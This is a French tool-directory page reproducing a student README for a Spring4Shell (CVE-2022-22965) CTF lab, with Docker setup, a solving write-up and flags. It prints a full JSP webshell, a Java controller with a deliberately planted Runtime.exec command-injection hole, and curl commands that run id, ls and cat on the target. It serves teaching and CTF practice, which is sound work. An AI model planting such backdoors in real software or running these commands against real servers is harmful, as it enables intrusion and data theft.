Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Spring4Shell-CTF — Configuration de l'environnement de la vulnérabilité Spring4Shell (CVE-2022-22965) et sujet CTF | Kitploit
Outils/GitHubGitHub/yuting-huang0/spring4shell-ctf
Analyse Dynamique (Sandboxing)Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceLabs et Pratique
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Configuration de l'environnement de la vulnérabilité Spring4Shell (CVE-2022-22965) et sujet CTF

6il y a 2 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Spring4Shell (CVE-2022-22965) - Mise en place de l'environnement de vulnérabilité et conception de défi CTF

Présentation du projet

Ce projet comprend une approche à deux voies pour la recherche en sécurité :

  1. Mise en place de l'environnement Vulhub traditionnel : Utilisation de la base de données de vulnérabilités open-source Vulhub pour reproduire rapidement le défaut de liaison d'objets dans l'ancien framework Spring.
  2. Développement d'un environnement personnalisé : Code source Java entièrement rédigé à la main par les membres de l'équipe, construction autonome d'un « Système de présentation des projets de fin de semestre des étudiants » comme cible de vulnérabilité, associé à un processus standard de test de pénétration réseau pour concevoir des épreuves CTF à double voie (auteur et résolveur).

Les participants exploiteront une vulnérabilité d'exécution de code à distance (RCE) et suivront des indices pour lire le drapeau (Flag) situé dans le répertoire racine du système ou dans un répertoire temporaire.


Étapes de mise en place de l'environnement

Préparation de base : Installation de Docker et Docker Compose

root@kitploit:~
# Mise à jour des dépôts sudo apt update # Installation de Docker et Docker Compose sudo apt install docker.io docker-compose -y # Démarrage du service Docker sudo systemctl start docker sudo systemctl enable docker

Voie 1 : Téléchargement et démarrage de l'environnement Vulhub (implémentation existante)

root@kitploit:~
# Téléchargement du projet Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# Accès au répertoire de la vulnérabilité Spring4Shell
cd vulhub/spring/CVE-2022-22965

# Démarrage du conteneur Docker
sudo docker-compose up -d

# Vérification du bon fonctionnement du conteneur
sudo docker ps

Vérification de l'environnement Vulhub

Ouvrez un navigateur et accédez à http://localhost:8080/?name=Hacker&age=99

Voie 2 : Mise en place de l'environnement personnalisé et déploiement du code source (nouvelle implémentation)

Afin d'éviter les résolutions aveugles et de reproduire un scénario de développement autonome, ce projet crée un projet indépendant Spring4Shell-Custom-CTF. Après un nettoyage complet de l'environnement, exécutez la compilation et le démarrage sans cache :

root@kitploit:~
# Nettoyage de l'ancien environnement
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# Création de la structure du répertoire du projet et génération du code source Java entièrement fait maison (incluant pom.xml, UserController.java, etc.)
# Compilation en deux étapes (Maven + Tomcat 9) pour placer précisément le drapeau fait maison dans le répertoire racine système /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# Vérification du bon fonctionnement du conteneur cible fait maison
sudo docker ps

Mécanismes de canal de contrôle et de fichier de porte dérobée

Mécanisme 1 : Écriture d'un fichier de porte dérobée JSP (chaîne existante Vulhub)

Après une attaque réussie, le fichier de porte dérobée sera écrit dans webapps/ROOT/tomcatwar.jsp, avec le contenu suivant :

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Mécanisme 2 : Contrôleur de vulnérabilité central intégré (nouvelle chaîne environnement personnalisé)

Dans le UserController.java fait maison, le défaut de protection de liaison d'objets POJO a été délibérément conservé, et un canal d'injection de commande non autorisée a été intégré :

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // Appel direct de Java Runtime pour exécuter des commandes système et retourner le résultat
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... logique de lecture de flux ...
    }
    return "Département de gestion de l'information, Université Tamkang - Plateforme de présentation des projets de fin de semestre des étudiants";
}

Vérification de l'exécution de code à distance (RCE)

1. Exécution de la commande id

root@kitploit:~
# Chemin de porte dérobée Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# Chemin de contrôle environnement personnalisé
curl "http://localhost:8080/?cmd=id"

2. Exécution de commande d'exploration de répertoire

root@kitploit:~
# Chemin de porte dérobée Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# Chemin de contrôle environnement personnalisé
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

Description des défis CTF

Défi 1 : Exploitation de la vulnérabilité Spring4Shell (implémentation existante)

  • Nom du défi : Exploitation de la vulnérabilité Spring4Shell
  • Emplacement du drapeau : /tmp/flag.txt
  • Contenu du drapeau : FLAG{Spring4Shell_Is_Dangerous}

Défi 2 : Épreuve de sécurité de fin de semestre du département d'informatique de gestion (nouvelle implémentation)

  • Nom du défi : Épreuve de sécurité de fin de semestre du département d'informatique de gestion
  • URL du système cible : http://localhost:8080/
  • Informations connues annoncées dans le défi : Cette plateforme est un projet Spring MVC développé par les étudiants eux-mêmes. La version du framework sous-jacent présente un défaut de liaison d'objets (incluant le type d'objet User). Le drapeau se trouve dans le répertoire racine du système serveur.
  • Emplacement du drapeau : /flag.txt
  • Contenu du drapeau : FLAG{2026_0615_iwanttosleep}

Write-up : Étapes de résolution et de pénétration

Processus d'exploitation de la vulnérabilité Vulhub existante

  • Étape 1 : Accédez à http://<target>:8080/?name=test&age=123 pour vérifier que la liaison des paramètres fonctionne correctement.
  • Étape 2 : Envoyez une requête POST avec un payload, modifiez la configuration des logs Tomcat et forcez l'écriture de la porte dérobée tomcatwar.jsp.
  • Étape 3 : Accédez à http://<target>:8080/tomcatwar.jsp?cmd=id pour confirmer la réussite du RCE.
  • Étape 4 : Exécutez curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" pour lire le fichier dans le répertoire temporaire.

Nouvelle implémentation : 5 étapes standard d'un test de pénétration réseau

Le résolveur (rôle B), conformément aux informations connues fournies par l'auteur du défi, sans deviner aveuglément, exécute les opérations standardisées :

  • Étape 1 : Reconnaissance de l'environnement et confirmation de la disponibilité
    Confirmer que le service Web cible est actif et que la page fonctionne.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • Étape 2 : Test des vulnérabilités limites et des défauts d'objets
    Introduire des paramètres de test pour vérifier l'existence d'une limite d'injection de commande exploitable.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • Étape 3 : Exploitation de la vulnérabilité et confirmation des privilèges
    Exécuter une requête d'identité pour confirmer l'obtention du contrôle maximal du système d'exploitation en tant que root.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • Étape 4 : Inventaire de l'environnement interne et exploration des fichiers
    Explorer le répertoire racine du système Linux pour localiser précisément le fichier cible.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • Étape 5 : Collecte de preuves finale et extraction du drapeau
    Exécuter une commande de lecture pour extraire avec succès le contenu du drapeau spécifié.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Structure du projet

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # Fichier de description du projet
├── docker-compose.yml          # Fichier de configuration d'orchestration des conteneurs
├── Dockerfile                  # Configuration de l'image de compilation en deux étapes
├── pom.xml                     # Fichier de configuration du projet Maven
├── src/                        # Code source Java fait maison du système de présentation
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # Fichier source local du drapeau
├── screenshots/                # Captures d'écran de démonstration et d'attaque
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # Code source de l'ancien fichier de porte dérobée

Références

  • Analyse détaillée de CVE-2022-22965
  • Environnement Vulhub Spring4Shell
  • Spring4Shell PoC

Membres de l'équipe

RôleNomTâches
Membre AHuang YutingMise en place de l'environnement, rédaction du code source Java complet du projet, encapsulation Docker, résolution des 5 étapes CTF standard
Membre BLi ZhenlinRecherche théorique, préparation de la présentation, montage vidéo du rapport, organisation du script de résolution

Licence

Ce projet est uniquement destiné à un usage éducatif et de recherche. Ne l'utilisez pas sur des systèmes non autorisés.

Télécharger l’outil